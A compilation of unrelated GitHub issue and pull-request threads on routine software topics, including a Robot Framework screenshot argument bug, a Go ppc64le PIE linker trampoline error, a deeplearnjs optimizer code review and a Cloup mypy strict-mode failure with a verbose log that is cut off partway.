@TheBloke On ooba, they use wheels by default, which is using an older version. (https://github.com/jllllll/exllama)
They way to use it now on text-generation-webui, is by uninstalling the wheel directly, and then cloning exllama into text-generation-webui\repositories

This would be as the context grows very long. For me, the speed drops below 10 tokens/second at around 3500 tokens of context.

I see, I was for some reason not referencing your 17tps figures. But still, do you actually mean taking away 100ms per token on your setup?

@TheBloke Yes, it does require recompiling the kernel. So I guess the change has to propagate through a couple of different repos before it's all plug-and-play in text-generation-webui. And since it's so new, there could easily be bugs to sort out, and the fixes would be delayed as well.
It's kind of why I prefer the method I'm using for ExLlama which just compiles on the fly as necessary.

Closing, as now support is added, thanks to all!

Running Llama-2-70B-chat on 2x24GB with NVlink.
No ctx scaling: native 4096 tokens.

4 bit, 64g, act-order
43.5 GB VRAM
6.5 t/s, mostly spent processing the prompt it seems (3900 tokens).

4 bit, 32g, act-order
46.4 GB VRAM
6 t/s

Thank you @turboderp, really great to be able to run such a powerful model locally.


Take Screenshot doesn't process arguments correctly when run on failure

Bug description
Take Screenshot doesn't process arguments correctly when it's registered to be run on failure. Normally when called explicitly it's working fine. Because of that as example unable to take fullPage screenshot.
Steps To Reproduce
Look at my 2 code snippets below:
Take Screenshot not working correctly when registered to run on failure
    [Setup]  New Page  https://www.yahoo.com/
    Browser.Register Keyword To Run On Failure  Take Screenshot  fullPage=True
    Click  //button[@name="agree"]
    Wait Until Network Is Idle
    Wait For Elements State  ddd  state=visible
    [Teardown]  Close Page

Take Screenshot working correctly when explicitly called
   [Setup]  New Page  https://www.yahoo.com/
    Click  //button[@name="agree"]
    Wait Until Network Is Idle
    Take Screenshot  fullPage=True
    [Teardown]  Close Page

Expected behavior
Take Screenshot should take full page screenshot for both examples.
Screenshots
Incorrect - screenshot taken from viewport as default. Notice that filename was taken from the argument fullPage=True

Correct - full page screenshot. File name correct according to default filename argument

Desktop:

OS: Windows 10 / docker image rfbrowser-stable:v8.0.1
Browser Chrome
Version 94.0.4606.61

Additional context
Checked other KWs to be registered on failure with arguments like Log and they're working correctly.

@all-contributors please add @tomekTieto for bugs

This is true, we do not do conversion, we just take arguments as they are, which in this case is plain strings and feed them forward. When we run keyword, we did expect that Robot Framework has done argument conversion and do not check any of the arguments.
The problem is that if there is keyword which is not keyword from this library, we do know the arguments types and therefore we can not do argument conversion. But it might be possible to do argument conversion for keywords which are from this library.

Reading the code also reveals nice bug in our code
            if is_same_keyword(self.run_on_failure_keyword["name"], "Take Screenshot"):
                args = self.run_on_failure_keyword["args"]
                path = args[0] if args else self._failure_screenshot_path()
                self.take_screenshot(path)

When Take Screenshot is run, code puts filename whatever was given as first argument. That is also wrong.

Even with that bug fixed we need to conversion for the arguments internally. Library relies on RF to the conversion when methods are run as keywords but for this usage case we need to do the conversion internally. Will look some RF api to do it, because argument conversion is pretty complex problem.

Had discussion with Pekke on Slack and this should work nicely:
>>> from robot.running.arguments import PythonArgumentParser
>>> def kw(a: int):
...     pass
...
>>> spec = PythonArgumentParser().parse(kw)
>>> spec.resolve(['42'])
([42], [])
>>> spec.resolve(['a=42'])
([], [('a', 42)])
>>> spec.resolve(['oops'])
Traceback (most recent call last):
[snip]
ValueError: Argument 'a' got value 'oops' that cannot be converted to integer.

Added even a debug log but nothing special there regarding issue
debug-20211015-124501.log

As a workaround doing something like this should work
https://github.com/MarketSquare/robotframework-browser/blob/main/atest/test/01_Browser_Management/run_on_failure.robot#L47
But there definitely is a bug.

Yes, using positional arguments instead of named arguments is working fine

Lets move the discussion in #1396


[BUG] Wrong/confusing documentation in performance tutorial

In the performance tutorial there are 2 things in the tutorial that I believe need fixing:

When going to plnkr, the ajax call failes because the URL is wrong. I believe it should be: https://cdn.rawgit.com/angular-ui/ui-grid.info/gh-pages/data/10000_complex.json and not https://cdn.rawgit.com/angular-ui/ui-grid.info/gh-pageshttps://cdn.rawgit.com/angular-ui/ui-grid.info/gh-pages/data/10000_complex.json.
You mention flatEntityAccess in the tutorial. In the example you treat it like a simple variable, while in the documentation it is a function. Which is true? On the same topic - could you create a performance test between the two states?

I've fixed the plunker.
flatEntityAccess is a boolean, as it shows in the tutorial.  ngdoc had it marked as a method, changed to a property.
The tutorial allows flatEntityAccess to be toggled, so people can see the performance difference on their own computer and environment.


add erwa as dep

add erwa as ordinary dep (not test) as it is used in project.
Run autoformatting and refactored awre_transport:init/1 to make IDE search&refactoring search transport implementations.
No logic changes.

why do you want to add erwa as a dep? you could implement a pure client application without erwa.

erwa is called from awre_trans_tcp and awre_trans_local. Wihout it's dep project won't compile.

yes, awre_tran_local is for local connections with a local running erwa router.
but then and only then erwa is needed, yet not when going there by using TCP.

just double checked, it is not used in erwa_trans_tcp

sorry, its my mistake, yes, really - erwa is used only in awre_trans_local.
And it compiles, even without erwa dep.
But IDE always complains on non-existent module, so I added the dep.

I will move awre_local directly to erwa, so implementing functions and events directly in the router will be way easier.


Comparison with other solutions?

For example:
https://github.com/small-c/obj.h
https://github.com/CObjectSystem/COS

obj.h:

doesn't have protection for private members, and
it always uses function pointers for methods which is not necessary.

COS has some runtime features, for example: dispatcher

no protection for private members
no support for protected members (that only inherit class can see the content)
no cmsis-pack support

OOC:

No runtime
has cmsis-pack support, easy to use in MDK and open-cmsis env
Ultra-low-cost
protection for private member
Support protected, private and public
Support overload

Each OOC solution has its own strong points. Please feel free to compare and leave your thought.


cmd/go: unexpected trampoline error on ppc64le musl with -buildmode=pie

This is (probably) related to #52336 and #51787.
What version of Go are you using (go version)?

$ go version
go version go1.18.1 linux/ppc64le

Does this issue reproduce with the latest release?
Yes.
What operating system and processor architecture are you using (go env)?
go env Output
$ go env
GO111MODULE=""
GOARCH="ppc64le"
GOBIN=""
GOCACHE="/home/buildozer/.cache/go-build"
GOENV="/home/buildozer/.config/go/env"
GOEXE=""
GOEXPERIMENT=""
GOFLAGS=""
GOHOSTARCH="ppc64le"
GOHOSTOS="linux"
GOINSECURE=""
GOMODCACHE="/home/buildozer/go/pkg/mod"
GONOPROXY=""
GONOSUMDB=""
GOOS="linux"
GOPATH="/home/buildozer/go"
GOPRIVATE=""
GOPROXY="https://proxy.golang.org,direct"
GOROOT="/usr/lib/go"
GOSUMDB="sum.golang.org"
GOTMPDIR=""
GOTOOLDIR="/usr/lib/go/pkg/tool/linux_ppc64le"
GOVCS=""
GOVERSION="go1.18.1"
GCCGO="gccgo"
GOPPC64="power8"
AR="ar"
CC="gcc"
CXX="g++"
CGO_ENABLED="1"
GOMOD="/dev/null"
GOWORK=""
CGO_CFLAGS="-g -O2"
CGO_CPPFLAGS=""
CGO_CXXFLAGS="-g -O2"
CGO_FFLAGS="-g -O2"
CGO_LDFLAGS="-g -O2"
PKG_CONFIG="pkg-config"
GOGCCFLAGS="-fPIC -pthread -fmessage-length=0 -fdebug-prefix-map=/tmp/go-build1359095760=/tmp/go-build -gno-record-gcc-switches"

What did you do?
This is issue we encountered when packaging Go software for Alpine Linux Edge ppc64le. On all other architectures, supported by Alpine, the affected Go software builds fine but on ppc64le it fails with a "unexpected trampoline for shared or dynamic linking" error (see also #52336 and #51787).
This issue can only be reproduced with -buildmode=pie.
One software where this can be reproduced is vault (I have not yet been able to create a minimal example):
$ git clone https://github.com/hashicorp/vault
$ cd vault
$ go build -buildmode=pie -o test

See also https://github.com/golang/go/issues/51787#issuecomment-1098283380
What did you expect to see?
A successful build.
What did you see instead?
 Now that we have internal PIE linking, maybe that needs revisit. Do we need a different trampoline for PIE?

Yes, we should be generating TOC-relative trampolines when internal linking PIE. I will prepare a patch.

I'm working on backporting the patch that fixes this issue to golang 1.18.2, but I'm experiencing some problems.  Maybe someone will have an idea here.
FWIW, I'm working on backporting this patch into Ubuntu's golang for its Kinetic series (development release), because the golang currently shipped is affected by this bug on ppc64le (which is ultimately impacting other software that use PIE during build).
After backporting this patch, the bug seems to be resolved for those software and I can get a build to complete; however, I start experiencing problems when I try to build golang 1.18.2 with itself (containing the patch mentioned above):
$ (export PATH="$PWD/bin:$PATH"; cd src; eval "$(go tool dist env)"; go tool dist test -v -run='^go_test:cmd/link$')

##### Testing packages.
# go tool dist test -run=^go_test:cmd/link$
--- FAIL: TestTrampoline (0.85s)
    link_test.go:677: executable failed to run (pie): signal: segmentation fault (core dumped)
    link_test.go:680: unexpected output (pie):
--- FAIL: TestTrampolineCgo (2.67s)
    link_test.go:754: executable failed to run (pie): signal: segmentation fault (core dumped)
    link_test.go:757: unexpected output (pie):
FAIL
FAIL    cmd/link        2.847s
FAIL
# go tool dist test -run=^go_test:cmd/link$
go tool dist: Failed: exit status 1

I'm trying to understand what's going on bug my golang-fu is not great.
I cloned this repository and analysed the commits that differ between HEAD and go1.18.2 inside the src/cmd/link/ directory, to check if something else caught my attention.  There is commit 12420f9c01d6966c2994dbcc506a9d783a30ebdb, but it doesn't seem to be related to the error I'm seeing.
Maybe I'm missing something here.  FWIW, I'm not compiling golang with PIE.  I'm happy to provide more info if needed, and/or to file a new bug if that's deemed necessary.  Thanks in advance.

Hey @pmur, thanks for looking into this.  I will try to block some time during the day today to continue the investigation as well, and will let you know if I find something.

Ah, you will need to backport https://go-review.googlesource.com/c/go/+/400574 too. That should unblock you. It is a soft-dependency. @cherrymui provided the justification for the backport is OK, is your change OK to include in a backport?

@pmur yeah, I think so. Thanks for looking into it.

@pmur Aha, thank you for the pointer.  Indeed, after backporting the patch you mentioned I can now build golang itself.  Thanks!


Pin novaclient version 7.0.0

Now, novaclient have deprecated some features like below:

https://github.com/openstack/python-novaclient/commit/3a03a0e10dfc797413536f8c8024c0ddf380f6c3#diff-e8e27ab582b13a8447fb7641ca8282c8
https://docs.openstack.org/releasenotes/python-novaclient/unreleased.html

Changes Unknown when pulling b670df16b1ea4a9be99fed3511ec14672a62058e on pin_novaclient_version into ** on master**.


Why Gaze watches all directories if I watch only a single file?

Related to #45.
Test case
Using grunt-contrib-watch to watch a single file.
Gruntfile.js:
module.exports = function (grunt) {

	grunt.initConfig({
		watch: {
			index: {
				files: 'index.html'
			}
		}
	});

	grunt.registerTask('default', ['serve']);
};

Executing:
grunt --verbose
Result:
Running "watch" task
Waiting...
Verifying property watch exists in config...OK
Verifying property watch.index.files exists in config...OK
Watching index.html for changes.
Watching .git for changes.
Watching css for changes.
Watching js for changes.
Watching lib for changes.
Watching node_modules for changes.

As mentioned in #45, Gaze.prototype._addToWatched is adding all those dirs to the this._watched array for some reason, even though I'm watching only a single file.
I"ve tried changing the pattern to './index.html' but it didn't work as well.
So, what is the purpose of adding all of those dirs?
Is it a bug? If not, how to restrict the watch list?
It sure isn't the expected behavior.

Since grunt-contrib-watch and gaze work based on file patterns rather than files, that is the expected behavior. In order to anticipate added files it needs to watch folders behind the scenes where it thinks a file could be added. In the current version is doesn't distinguish between internal/external watched files; you just get all watched. But they are safe to ignore.

@shama So when it says it's watching those directories, what exactly is it watching? And what will it trigger if a file in those directories is aded/updated?
I'm just getting some "too many watched files" kind of messages when I run several projects simultaneously and I though it might be related.
Also, is there a way to tell it to watch just that one file without all those directories?

It should only watch each folder, not all files within the folder. If you're on OSX, the default open file limit is very low, 256. I recommend increasing it with ulimit -n 1024 or more permanent methods.
The version of gaze packaged with grunt-contrib-watch uses a combination of native and stat polling. So if you're getting EMFILE, it's likely one of your projects might be watching node_modules or another big folder accidentally. Check for open patterns like **/*as it doesn't ignore the node_modules folder by default.


Enhancement: Timer sounds

Maybe a 10 second left warning and a time's up sound

yep, love this one. It's only tricky because not everyone has sounds enabled, etc,etc, etc, but it's worth trying!!


Post release: update creek to 0.3.1-SNAPSHOT

Reviewer checklist

[ ] Read the contributing guide
[ ] PR should be motivated, i.e. what does it fix, why, and if relevant, how
[ ] Ensure relevant issues are linked (description should include text like "Fixes #")
[ ] Ensure any appropriate documentation has been added or amended

Coverage: 99.349%. Remained the same when pulling 398c9ee06e884f076e0738f0e715eef62b0c1e9c on post-release into 3515b508a81a20d1f7a6ecdc64391f37bbbc3f80 on main.


Semantic type prediction results in paper

In table 5, you provide results of MT <- WikiMed & MT <- PubMedDS.
I am curious about the results of MedType trained on WikiMed(or PubMedDS) without fine-tuning in semantic type prediction.

Hi @GanjinZero,
They do not give that great performance since the nature of training data and the evaluation data are quite different. However,  you do provide complementary information to the model which is not present in the training data.


Update for Rails 5+ removal of type_cast_for_database

Updates the CopyFromClient functionality to support the removal of type_cast_for_database from Rails 5.2+
Issue: https://github.com/citusdata/activerecord-multi-tenant/issues/122
Gets the column types and casts the data.

Merged as #135


shinyStan --> ShinyStan

Update names: interface is now ShinyStan and R package is shinystan.

Ok I think that's everything.

Can this be merged? The new version was accepted by CRAN, so in a day or so the website will be out of date.

Whenever it makes sense is fine by me.

Bob

On Aug 11, 2015, at 12:49 PM, Jonah Gabry<EMAIL_ADDRESS>wrote:
Can this be merged? The new version was accepted by CRAN, so in a day or so the website will be out of date.
—
Reply to this email directly or view it on GitHub.

Ok, looks like I don't have write access to the repo so someone else will need to actually merge it.

I merged it. @jgabry, you should have permissions now.


Solution needed

A simple solution is needed for this problem: 3D surface Area

Hey I have solved the problem, can you assign me this issue?

Sure @pragyanmehrotra  you can work on it and send a pr once you're done

Hey @Vishruth-S , created this PR #9 with the solution for 3D Surface Area problem. Please review and merge it.

@palashshah  Done 👍

@pragyanmehrotra  If you're still working on it, you can add your solution as well. just name your file as solution2

@Vishruth-S Please check I have updated my PR

@Vishruth-S can you close using the first submitted PR #9 :smile:?


Migrate Adagrad / Adadelta optimizers to eager and expose them on dl.*

This PR:

Migrates Adagrad / Adadelta optimizers to eager, and exposes them on dl.*
Ensure that optimizers that have been ported have the same API as tensorflow.
Simplifies unit tests to more understandable function to minimize.
Allow for member functions to make it into the doc. I was going to expose "setLearningRate" which motivated this change, but decided not to expose it in the docs for now, we can expose it later if we decide.

There are still 3 more optimizers to convert, but we can tackle them later. I spent quite a bit of time ingesting the papers and making sure they were correct and rewriting unit tests to be simpler. We need to get 0.5.0 out, so I will stop for now.
This addresses https://github.com/PAIR-code/deeplearnjs/issues/652 and https://github.com/PAIR-code/deeplearnjs/issues/592
This also fixes https://github.com/PAIR-code/deeplearnjs/issues/678

This change is

 This is awesome and a lot of work! Thanks for migrating these!

Reviewed 27 of 27 files at r1.
Review status: all files reviewed at latest revision, 5 unresolved discussions.

src/graph/optimizers/adam_optimizer.ts, line 24 at r1 (raw file):

import {Scalar, Tensor} from '../../math/tensor';
import {NamedVariableMap} from '../../math/types';
import {Node} from '..//graph';

double slash (//) looks strange

src/math/optimizers/adadelta_optimizer.ts, line 96 at r1 (raw file):

      });

      variable.assign(keep(newVariable));

here and elsewhere. this looks like a mem leak. or strange.why call keep, just do:
var.assign(newVal)

src/math/optimizers/adagrad_optimizer.ts, line 67 at r1 (raw file):

      });

      variable.assign(keep(newVariable));

wasn't expecting keep to be required here

src/math/optimizers/momentum_optimizer.ts, line 53 at r1 (raw file):

      const variable = ENV.engine.registeredVariables[variableName];
      if (this.accumulations[variableName] == null) {
        this.accumulations[variableName] = keep(zerosLike(variable));

here and elsewhere, wrap internal params in variable with trainable: false? then you can call .assign without the need for dispose or keep

src/math/optimizers/sgd_optimizer.ts, line 63 at r1 (raw file):

   * Sets the learning rate of the optimizer.
   */
  setLearningRate(learningRate: number) {

looked at TF, GradientDescentOptimizer doesn't have set_learning_rate, let's @deprecate it (add jsdoc)

Comments from Reviewable

Review status: 20 of 25 files reviewed at latest revision, 5 unresolved discussions, some commit checks pending.

src/graph/optimizers/adam_optimizer.ts, line 24 at r1 (raw file):
Previously, dsmilkov (Daniel Smilkov) wrote…
double slash (//) looks strange

Done.

src/math/optimizers/adadelta_optimizer.ts, line 96 at r1 (raw file):
Previously, dsmilkov (Daniel Smilkov) wrote…
here and elsewhere. this looks like a mem leak. or strange.why call keep, just do:
var.assign(newVal)

Done.

src/math/optimizers/adagrad_optimizer.ts, line 67 at r1 (raw file):
Previously, dsmilkov (Daniel Smilkov) wrote…
wasn't expecting keep to be required here

Done.

src/math/optimizers/momentum_optimizer.ts, line 53 at r1 (raw file):
Previously, dsmilkov (Daniel Smilkov) wrote…
here and elsewhere, wrap internal params in variable with trainable: false? then you can call .assign without the need for dispose or keep

Done.

src/math/optimizers/sgd_optimizer.ts, line 63 at r1 (raw file):
Previously, dsmilkov (Daniel Smilkov) wrote…
looked at TF, GradientDescentOptimizer doesn't have set_learning_rate, let's @deprecate it (add jsdoc)

Done.

Comments from Reviewable


One-way, read-only sync from iCal

Companion issue to #15. They had to be split up because Apple doesn't set the proper CORS headers on .ics files, so Chrome/Electron is preventing FullCalendar from making the request to get the calendar.

Closing because #2 is already open.


Add secondary color to empty spaces when using border dash in a line chart

Feature Proposal
I'd like for the ability to apply a color to the empty spaces in border dash intervals so that I can have dashed line that has two different colors
Possible Implementation
No response

hey can i work on this issue


Move zoom to edit notice from sidebar to map container

moved uiNotice from sidebar.js to init.js
made couple of small styling changes on the for the notice module to play well over the map

Hope this is all on the right track. All hints, tips, critiques are very welcome for this beginner.

Thanks @leegenes!   Sorry it took me a while to get to this.
It looks excellent, I just changed it to use a dark style to better match the dark map UI elements, now that the button is not longer on the bright sidebar.


Mesh setup: "scanning for mesh network" screen should prompt for action

I stumbled over this myself several times and have seen users thrown off by it too.
When adding a device to a mesh network you get the "scanning for mesh network" screen which eventually shows the found networks but there is no prompt to actually select one of the found networks and the spinner keeps spinning one might consider the app stuck.
As soon a network has been found a prompt to actually click on the network name may help there.

Did you have any kind of prompt in mind?  I wonder if just altering/adding some header text would be enough.
As for the spinner, it stays there to indicate that scanning is always ongoing, since the state of available mesh networks is transitory.

Altering the header text should suffice.
e.g. "Please select mesh network to join / (scanning for available mesh)"
The focus of that step is not the scanning in itself (which would not require the user to do anything but wait), but should inform the user that his action is required.

I agree with @ScruffR that the current behaviour is misleading/sub-optimal.
Providing a hint that the user can select as soon as they see the network the want would be good, especially since the spinner is active (usually means the user should wait.)


Fix GET /persons/:id endpoint

Description

A previous change slightly altered this endpoint and left it non-functional under certain conditions.
Sometimes the endpoint returns a 500 code or just times out entirely.
Acceptance Criteria

[ ] Restore endpoint to its previous functional state

Implementation details

Issue seems to be with getPersonById() in the person controller.
Testing notes

All existing tests should pass!

Issue approved!


CI: adjust the temporary drive, unzip path

This uses T: for the temporary drive instead of S:.  This is needed
to ensure that the builds on some machines function which already have
the S drive in use.  Use an absolute path to unzip to allow us to
use the unzip from the Git installation rather than relying on MinGW
to provide one.

Replace this paragraph with a description of your changes and rationale. Provide links to external references/discussions if appropriate.

Resolves SR-NNNN.

@swift-ci please test Windows platform

@swift-ci please test Windows platform

CC: @shahmishal @JDevlieghere

@swift-ci please test Windows platform

@swift-ci please clean test Windows platform

@drodriguez - I think that the reason for the windows builder requiring the clean build is that build-windows.bat is not safe to re-run.  The mkdir will fail if the build tree is previously there.

Trying to use this for additional CI hosts which have a S: drive on them.

@swift-ci please clean test windows platform

@swift-ci please clean test Windows platform

@swift-ci please clean test Windows platform

@swift-ci please smoke test

@swift-ci please smoke test

I'm going to go ahead and merge this for now.  I think that @drodriguez's comments have been addressed.


MudLink: Fix exception doesn't flow to ErrorBoundary.

Description
Follows: https://github.com/MudBlazor/MudBlazor/pull/8369
See: https://github.com/MudBlazor/MudBlazor/issues/8365#issuecomment-1997916812 and https://github.com/dotnet/aspnetcore/issues/54543
PR that introduced regression: https://github.com/MudBlazor/MudBlazor/pull/8281
How Has This Been Tested?
New unit test.
Types of changes

[x] Bug fix (non-breaking change which fixes an issue)
[ ] New feature (non-breaking change which adds functionality)
[ ] Breaking change (fix or feature that would cause existing functionality to not work as expected)

Checklist:

[x] The PR is submitted to the correct branch (dev).
[x] My code follows the code style of this project.
[x] I've added relevant tests.

@danielchalmers @henon I will do one by one.


Facebook Sign In Failing

Cannot sign in with Facebook after making multiple attempts.

Working for me, so we'll need more info than that: error message, screenshots, etc.

I've always had problems with Facebook login - currently using v.2.5.3 build 93 I'm getting this on 'Log in with Facebook'

In the past, I've been able to fix some login problems by messing with Privacy settings in my iPhone Settings app but I don't see iNat as an option now:

Scott, that's a problem with the iOS app. Different repo. I assume @joellebel issue is with the website.

sorry didn't see that

Closing this issue because it's filed under the wrong location. Do not have permissions or access to delete it.


Jsonify from rust

Use the library called serde and pythonize

You've got orjson which is already written in rust => python.

Yes @jonathan-s , I agree. Was just wondering if the stripped down version would be faster or not


Mypy fails in strict mode

Bug description
Mypy fails to type-check code that uses Cloup, when in strict mode.
(Note, this is in contrast with Click, which Mypy has no problem with.)
To Reproduce
Steps to reproduce the behavior:

Install Cloup, e.g., using pip3 install cloup.
Create file foo.py with the following contents.

import cloup

class Context(cloup.Context):
    pass

Run mypy --strict foo.py.
Observe errors in output.5.

foo.py:4: error: Name "cloup.Context" is not defined
foo.py:4: error: Class cannot subclass "Context" (has type "Any")
Found 2 errors in 1 file (checked 1 source file)

Expected behavior
Mypy should not give any errors.
Versions
macOS 12.3.1
Python 3.9.12
Cloup 0.14.0

Logs for mypy -v foo.py may be more helpful.

LOG:  Mypy Version:           0.950
LOG:  Config File:            mypy.ini
LOG:  Configured Executable<EMAIL_ADDRESS>LOG:  Current Executable<EMAIL_ADDRESS>LOG:  Cache Dir:              .mypy_cache
LOG:  Compiled:               True
LOG:  Exclude:                []
LOG:  Found source:           BuildSource(path='foo.py', module='foo', has_text=False, base_dir='/Users/alex/Software/typer')
LOG:  Could not load cache for foo: foo.meta.json
LOG:  Metadata not found for foo
LOG:  Parsing foo.py (foo)
LOG:  Metadata fresh for cloup: file /Users/alex/Software/cloup/cloup/__init__.py
LOG:  Metadata fresh for builtins: file /opt/homebrew/lib/python3.9/site-packages/mypy/typeshed/stdlib/builtins.pyi
LOG:  Metadata fresh for cloup._version: file /Users/alex/Software/cloup/cloup/_version.py
LOG:  Metadata fresh for cloup.warnings: file /Users/alex/Software/cloup/cloup/warnings.py
LOG:  Metadata fresh for click: file /Users/alex/Software/click/src/click/__init__.py
LOG:  Metadata fresh for cloup.styling: file /Users/alex/Software/cloup/cloup/styling.py
LOG:  Metadata fresh for cloup.formatting: file /Users/alex/Software/cloup/cloup/formatting/__init__.py
LOG:  Metadata fresh for cloup._context: file /Users/alex/Software/cloup/cloup/_context.py
LOG:  Metadata fresh for cloup._params: file /Users/alex/Software/cloup/cloup/_params.pyi
LOG:  Metadata fresh for cloup._option_groups: file /Users/alex/Software/cloup/cloup/_option_groups.py
LOG:  Metadata fresh for cloup._sections: file /Users/alex/Software/cloup/cloup/_sections.py
LOG:  Metadata fresh for cloup._commands: file /Users/alex/Software/cloup/cloup/_commands.py
LOG:  Metadata fresh for cloup.constraints: file /Users/alex/Software/cloup/cloup/constraints/__init__.py
LOG:  Metadata fresh for cloup.types: file /Users/alex/Software/cloup/cloup/types.py
LOG:  Metadata fresh for sys: file /opt/homebrew/lib/python3.9/site-packages/mypy/typeshed/stdlib/sys.pyi
LOG:  Metadata fresh for types: file /opt/homebrew/lib/python3.9/site-packages/mypy/typeshed/stdlib/types.pyi
LOG:  Metadata fresh for _ast: file /opt/homebrew/lib/python3.9/site-packages/mypy/typeshed/stdlib/_ast.pyi
LOG:  Metadata fresh for _collections_abc: file /opt/homebrew/lib/python3.9/site-packages/mypy/typeshed/stdlib/_collections_abc.pyi
LOG:  Metadata fresh for _typeshed: file /opt/homebrew/lib/python3.9/site-packages/mypy/typeshed/stdlib/_typeshed/__init__.pyi
LOG:  Metadata fresh for collections.abc: file /opt/homebrew/lib/python3.9/site-packages/mypy/typeshed/stdlib/collections/abc.pyi
LOG:  Metadata fresh for io: file /opt/homebrew/lib/python3.9/site-packages/mypy/typeshed/stdlib/io.pyi
LOG:  Metadata fresh for typing: file /opt/homebrew/lib/python3.9/site-packages/mypy/typeshed/stdlib/typing.pyi
LOG:  Metadata fresh for typing_extensions: file /opt/homebrew/lib/python3.9/site-packages/mypy/typeshed/stdlib/typing_extensions.pyi
LOG:  Metadata fresh for click.core: file /Users/alex/Software/click/src/click/core.py
LOG:  Metadata fresh for click.decorators: file /Users/alex/Software/click/src/click/decorators.py
LOG:  Metadata fresh for click.exceptions: file /Users/alex/Software/click/src/click/exceptions.py
LOG:  Metadata fresh for click.formatting: file /Users/alex/Software/click/src/click/formatting.py
LOG:  Metadata fresh for click.globals: file /Users/alex/Software/click/src/click/globals.py
LOG:  Metadata fresh for click.parser: file /Users/alex/Software/click/src/click/parser.py
LOG:  Metadata fresh for click.termui: file /Users/alex/Software/click/src/click/termui.py
LOG:  Metadata fresh for click.types: file /Users/alex/Software/click/src/click/types.py
LOG:  Metadata fresh for click.utils: file /Users/alex/Software/click/src/click/utils.py
LOG:  Metadata fresh for dataclasses: file /opt/homebrew/lib/python3.9/site-packages/mypy/typeshed/stdlib/dataclasses.pyi
LOG:  Metadata fresh for cloup._util: file /Users/alex/Software/cloup/cloup/_util.py
LOG:  Metadata fresh for cloup.formatting._formatter: file /Users/alex/Software/cloup/cloup/formatting/_formatter.py
LOG:  Metadata fresh for cloup.formatting._util: file /Users/alex/Software/cloup/cloup/formatting/_util.py
LOG:  Metadata fresh for warnings: file /opt/homebrew/lib/python3.9/site-packages/mypy/typeshed/stdlib/warnings.pyi
LOG:  Metadata fresh for cloup.typing: file /Users/alex/Software/cloup/cloup/typing.py
LOG:  Metadata fresh for textwrap: file /opt/homebrew/lib/python3.9/site-packages/mypy/typeshed/stdlib/textwrap.pyi
LOG:  Metadata fresh for collections: file /opt/homebrew/lib/python3.9/site-packages/mypy/typeshed/stdlib/collections/__init__.pyi
LOG:  Metadata fresh for inspect: file /opt/homebrew/lib/python3.9/site-packages/mypy/typeshed/stdlib/inspect.pyi
LOG:  Metadata fresh for difflib: file /opt/homebrew/lib/python3.9/site-packages/mypy/typeshed/stdlib/difflib.pyi
LOG:  Metadata fresh for re: file /opt/homebrew/lib/python3.9/site-packages/mypy/typeshed/stdlib/re.pyi
LOG:  Metadata fresh for cloup.constraints._conditional: file /Users/alex/Software/cloup/cloup/constraints/_conditional.py
LOG:  Metadata fresh for cloup.constraints._core: file /Users/alex/Software/cloup/cloup/constraints/_core.py
LOG:  Metadata fresh for cloup.constraints._support: file /Users/alex/Software/cloup/cloup/constraints/_support.py
LOG:  Metadata fresh for cloup.constraints.conditions: file /Users/alex/Software/cloup/cloup/constraints/conditions.py
LOG:  Metadata fresh for cloup.constraints.exceptions: file /Users/alex/Software/cloup/cloup/constraints/exceptions.py
LOG:  Metadata fresh for pathlib: file /opt/homebrew/lib/python3.9/site-packages/mypy/typeshed/stdlib/pathlib.pyi
LOG:  Metadata fresh for importlib.abc: file /opt/homebrew/lib/python3.9/site-packages/mypy/typeshed/stdlib/importlib/abc.pyi
LOG:  Metadata fresh for importlib.machinery: file /opt/homebrew/lib/python3.9/site-packages/mypy/typeshed/stdlib/importlib/machinery.pyi
LOG:  Metadata fresh for array: file /opt/homebrew/lib/python3.9/site-packages/mypy/typeshed/stdlib/array.pyi
LOG:  Metadata fresh for ctypes: file /opt/homebrew/lib/python3.9/site-packages/mypy/typeshed/stdlib/ctypes/__init__.pyi
LOG:  Metadata fresh for mmap: file /opt/homebrew/lib/python3.9/site-packages/mypy/typeshed/stdlib/mmap.pyi
LOG:  Metadata fresh for os: file /opt/homebrew/lib/python3.9/site-packages/mypy/typeshed/stdlib/os/__init__.pyi
LOG:  Metadata fresh for codecs: file /opt/homebrew/lib/python3.9/site-packages/mypy/typeshed/stdlib/codecs.pyi
LOG:  Metadata fresh for abc: file /opt/homebrew/lib/python3.9/site-packages/mypy/typeshed/stdlib/abc.pyi
LOG:  Metadata fresh for enum: file /opt/homebrew/lib/python3.9/site-packages/mypy/typeshed/stdlib/enum.pyi
LOG:  Metadata fresh for errno: file /opt/homebrew/lib/python3.9/site-packages/mypy/typeshed/stdlib/errno.pyi
LOG:  Metadata fresh for contextlib: file /opt/homebrew/lib/python3.9/site-packages/mypy/typeshed/stdlib/contextlib.pyi
LOG:  Metadata fresh for functools: file /opt/homebrew/lib/python3.9/site-packages/mypy/typeshed/stdlib/functools.pyi
LOG:  Metadata fresh for gettext: file /opt/homebrew/lib/python3.9/site-packages/mypy/typeshed/stdlib/gettext.pyi
LOG:  Metadata fresh for itertools: file /opt/homebrew/lib/python3.9/site-packages/mypy/typeshed/stdlib/itertools.pyi
LOG:  Metadata fresh for click.shell_completion: file /Users/alex/Software/click/src/click/shell_completion.py
LOG:  Metadata fresh for importlib_metadata: file<EMAIL_ADDRESS>LOG:  Metadata fresh for importlib.metadata: file /opt/homebrew/lib/python3.9/site-packages/mypy/typeshed/stdlib/importlib/metadata/__init__.pyi
LOG:  Metadata fresh for importlib: file /opt/homebrew/lib/python3.9/site-packages/mypy/typeshed/stdlib/importlib/__init__.pyi
LOG:  Metadata fresh for click._compat: file /Users/alex/Software/click/src/click/_compat.py
LOG:  Metadata fresh for shutil: file /opt/homebrew/lib/python3.9/site-packages/mypy/typeshed/stdlib/shutil.pyi
LOG:  Metadata fresh for click._textwrap: file /Users/alex/Software/click/src/click/_textwrap.py
LOG:  Metadata fresh for threading: file /opt/homebrew/lib/python3.9/site-packages/mypy/typeshed/stdlib/threading.pyi
LOG:  Metadata fresh for shlex: file /opt/homebrew/lib/python3.9/site-packages/mypy/typeshed/stdlib/shlex.pyi
LOG:  Metadata fresh for getpass: file /opt/homebrew/lib/python3.9/site-packages/mypy/typeshed/stdlib/getpass.pyi
LOG:  Metadata fresh for click._termui_impl: file /Users/alex/Software/click/src/click/_termui_impl.py
LOG:  Metadata fresh for stat: file /opt/homebrew/lib/python3.9/site-packages/mypy/typeshed/stdlib/stat.pyi
LOG:  Metadata fresh for operator: file /opt/homebrew/lib/python3.9/site-packages/mypy/typeshed/stdlib/operator.pyi
LOG:  Metadata fresh for uuid: file /opt/homebrew/lib/python3.9/site-packages/mypy/typeshed/stdlib/uuid.pyi
